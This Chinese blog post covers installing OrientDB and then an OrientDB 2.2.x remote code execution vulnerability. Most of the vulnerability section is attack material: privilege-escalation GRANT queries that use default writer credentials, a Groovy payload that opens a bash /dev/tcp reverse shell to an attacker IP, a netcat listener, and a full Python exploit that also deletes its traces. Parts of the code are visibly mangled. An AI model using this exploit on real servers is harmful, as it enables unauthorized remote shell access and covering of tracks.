0×01 关于orient db数据库
OrientDB是一个开源NoSQL数据库管理系统。 NoSQL数据库提供了一种用于存储和检索引用除表式数据之外的数据(例如文档数据或图形数据)的NO关系或非关系数据的机制。 NoSQL数据库越来越多地用于大数据和实时Web应用程序。 NoSQL系统有时也被称为“Not Only SQL”,以强调它们可能支持类似SQL的查询语言。
OrientDB也属于NoSQL系列。 OrientDB是第二代分布式数据库,具有灵活性的文档在一个产品与Apache 2许可证的开放源代码。 在OrientDB之前市场上有几个NoSQL数据库,其中一个是MongoDB。
0×01 orient db 数据库的基础知识
步骤1 – 下载OrientDB二进制设置文件
下载地址:http://orientdb.com/download社区版和企业版都可以在任何实现Java虚拟机(JVM)的操作系统上运行。 OrientDB需要1.7或更高版本的Java。
步骤2 – 解压并安装OrientDB
以下是为不同操作系统提取和安装OrientDB的过程。在Linux中将orientdb-community-2.1.9.tar.gz文件解压,可以使用以下命令提取tarred文件。
$ tar –zxvf orientdb-community-2.1.9.tar.gz
使用以下命令将所有OrientDB库文件从orientdbcommunity-2.1.9移动到/opt/orientdb/目录。 这里要用sudo
$ sudo mv orientdb-community-2.1.9 /opt/orientdb
使用以下命令注册orientdb命令和Orient服务器。
$ export ORIENTDB_HoME = /opt/orientdb$ export PATH = $PATH:$ORIENTDB_HOME/bin
在Windows中将orientdb-community-2.1.9.zip文件解压,将提取出的文件夹移动到C:/目录。使用以下给定值创建两个环境变量ORIENTDB_HOME和PATH变量。
ORIENT_HOME = C:orientdb-community-2.1.9
PATH = C:orientdb-community-2.1.9in
步骤3 – 配置OrientDB服务器作为服务
这里就说下linux的~OrientDB提供了一个名为orientdb.sh的脚本文件,以作为守护程序运行数据库。在OrientDB安装目录的$ORIENTDB_HOME/bin/orientdb.sh的bin目录中可以找到它。在运行脚本文件之前,编辑orientdb.sh文件以定义两个变量。一个是ORIENTDB_DIR,它定义了安装目录/opt/orientdb
的路径,第二个是ORIENTDB_USER,它定义了要运行OrientDB的用户名,如下所示。
ORIENTDB_DIR = "/opt/orientdb"
ORIENTDB_USER = ""
使用以下命令将orientdb.sh文件复制到/etc/init.d/目录中以初始化和运行脚本。
$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb
使用以下命令将console.sh文件从OrientDB安装目录$ ORIENTDB_HOME / bin复制到系统bin目录(即/ usr / bin)以访问Orient DB的控制台。
$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb
使用下面的命令来启动ORIENTDB数据库服务器作为服务。在这里,你必须提供你在orientdb.sh文件提及启动服务器的相应用户的密码。$ service orientdb start使用以下命令知道哪个PID的OrientDB服务器守护程序正在运行。$ service orientdb status使用以下命令停止OrientDB服务器守护程序。$ service orientdb stop
0×02 漏洞分析
1、OrientDB使用RBAC模型进行认证方案。默认情况下,OrientDB有3个角色:admin, writer and reader。它们的功能与与用户名称所扮演的角色相同。对于在服务器上创建的每个数据库,默认情况下会分配3个用户。
2、用户的权限分配如下:
admin
: 访问数据库上的所有功能,没有任何限制reader
: 只读用户。读者可以查询数据库中的任何记录,但不能修改或删除它,也不能访问内部信息,例如用户和角色本身的信息。writer
: 与reader相同,但它也可以创建,更新和删除记录。
3、漏洞产生原理
管理员通过ORole结构处理用户以及他们角色,OrientDB需要oRole读取权限,以允许用户显示用户权限,并使与oRole权限相关联的其他查询。
从版本2.2.x及以上版本,只要oRole被查询,fetchplan和order by语句,则不需要此权限要求,并将信息返回给非特权用户。
由于Orient db启用了这些功能 where、fetchplan、order by,导致了OrientDB具有一个可以执行常规的功能,并且这个groovy封装器没有沙箱进行保护导致了系统功能被访问,导致我们可以运任何命令。
0×03 漏洞复现过程
1、首先先确定版本号,版本号的确定可由返回头确定
2、接着我们访问 http://Taarget:2480/listDatabases 获取数据库名称,他会返回为一个json列表
3、用writer的身份尝试Http基础认证,看其是否对数据库可写。如果可写,那么则漏洞存在。
检测三部分的权限是否能得到提升:1)database.class.ouser
检测是否可以作为特权账户操作数据库
2)database.function
是否启用功能操作
3)database.function
是否有系统的访问权限
验证方法如下:
payload:http://Target:2480/command/database_name/sql/-/20?format=rid,type,version,class,graph
以POST的方式请求如下数据:
GRANT execute ON database.class.ouser TO writer
GRANT execute ON database.function TO writer
GRANT execute ON database.systemclusters TO writer
如果成功执行则可以利用。
下面给出exp:
{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = /'bash -i >& /dev/tcp/' +
reverse_ip
+ '/6666 0>&1/';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash/n/");file << (command);def proc = /"bash hello.sh/".execute();","parameters":null}
在目标用bash反弹,本地你可以用nc监听,运行如下命令:netcat -lp 6666
最后给出PoC:
#! /usr/bin/env python
#-- coding: utf-8 --
# OrientDB <= 2.22 RCE PoC
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.asciilowercase + string.digits):
return ''.join(random.choice(chars) for in range(size))
def enum_databases(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']
return database
return False
def check_version(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
headers = req.headers['server']
#print headers
if "2.2" in headers or "3." in headers:
return True
return False
def run_queries(permission,db,content=""):
databases = enum_databases(target)
url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
priv_enable = ["create","read","update","execute","delete"]
#query = "GRANT create ON database.class.ouser TO writer"
for priv in priv_enable:
if permission == "GRANT":
query = "GRANT %s ON %s TO writer"%(priv,db)
else:
query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:
pass
else:
if priv == "execute":
return True
return False
print "[+] %s"%(content)
return True
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
if priv1 and priv2 and priv3:
return True
return False
def exploit(target,port="2480"):
#query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = /'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1/';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash/n/");file << (command);def proc = /"bash hello.sh/".execute(); ","parameters":null'
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash/n/");file << (command);def proc = /"bash hello.sh/".execute(); ","parameters":None}
func_name = random_function_name()
print func_name
databases = enum_databases(target)
reverse_ip = raw_input('Enter the ip to connect back: ')
query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = /'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1/';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash//n/");file << (command);def proc = /"bash hello.sh/".execute();","parameters":null}'
#query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = /'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f/' /u000a File file = new File(/"hello.sh/")/u000a file.delete() /u000a file << (/"#!/bin/bash/")/u000a file << (command)/n def proc = /"bash hello.sh/".execute() ","parameters":null}'
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = /'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1/';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash/n/");file << (command);def proc = /"bash hello.sh/".execute();","parameters":None}
req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
if req.status_code == 201:
#print req.status_code
#print req.json()
func_id = req.json()['@rid'].strip("#")
#print func_id
print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
#print req.status_code
#print req.text
if req.status_code == 200:
print "[+] Open netcat at port 8081.."
else:
print "[+] Exploitation failed at last step, try running the script again."
print req.status_code
print req.text
#print "[+] Deleting traces.."
req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
#print req.status_code
#print req.text
def main():
target = sys.argv[1]
#port = sys.argv[1] if sys.argv[1] else 2480
try:
port = sys.argv[2] if sys.argv[2] else 2480
#print port
except:
port = 2480
if priv_escalation(target,port):
exploit(target,port)
else:
print "[+] Target not vulnerable"
main()
参看链接:https://github.com/jivoi/pentest/blob/a9cb16a5dccc8220e9028eee6f2fae0bd556a481/tools/orientdb_rce_2-22.py
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/aiops/54829.html